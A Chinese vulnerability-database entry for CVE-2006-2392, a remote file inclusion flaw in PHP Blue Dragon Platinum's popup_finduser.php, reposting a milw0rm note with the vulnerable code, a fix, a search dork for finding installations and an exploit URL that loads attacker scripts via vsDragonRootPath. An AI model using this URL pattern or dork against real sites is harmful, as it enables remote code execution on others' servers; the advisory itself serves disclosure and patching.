PHP Blue Dragon Platinum popup_finduser.php PHP远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110262 漏洞类型 输入验证
发布时间 2006-05-12 更新时间 2006-05-16
CVE编号 CVE-2006-2392 CNNVD-ID CNNVD-200605-262
漏洞平台 PHP CVSS评分 6.4
|漏洞来源
https://www.exploit-db.com/exploits/1779
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200605-262
|漏洞详情
PHPBlueDragonPlatinum2.8.0的public_includes/pub_popup/popup_finduser.php存在PHP远程文件包含漏洞,远程攻击者可以通过vsDragonRootPath参数中的URL执行任意PHP代码。
|漏洞EXP
################DEVIL TEAM THE BEST POLISH TEAM#################
#Php Blue Dragon Platinum - Remote File Include
#Find by Kacper (Rahim).
#Greetings For ALL DEVIL TEAM members, Special DragonHeart :***
#dork: powered by Php Blue Dragon Platinum
################################################################
[code]
// Szukanie u.ytkownika
include($vsDragonRootPath."public_includes/pub_language/".$UserSession
-> SessionData["SesUserLanguage"]."/mod_privmsg.".$phpExt);
[/code]

Fix:
[code]
// Szukanie u.ytkownika
$vsDragonRootPath = "./";
include($vsDragonRootPath."public_includes/pub_language/".$UserSession
-> SessionData["SesUserLanguage"]."/mod_privmsg.".$phpExt);
[/code]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

http://www.site.com/[dragon_path]/public_includes/pub_popup/popup_finduser.php?vsDragonRootPath=[evil_scripts]

# milw0rm.com [2006-05-12]
|参考资料

来源:VUPEN
名称:ADV-2006-1789
链接:http://www.frsirt.com/english/advisories/2006/1789
来源:SECUNIA
名称:20115
链接:http://secunia.com/advisories/20115
来源:MILW0RM
名称:1779
链接:http://milw0rm.com/exploits/1779
来源:XF
名称:phpbluedragon-finduser-file-include(26455)
链接:http://xforce.iss.net/xforce/xfdb/26455
来源:BID
名称:17977
链接:http://www.securityfocus.com/bid/17977
来源:OSVDB
名称:25533
链接:http://www.osvdb.org/25533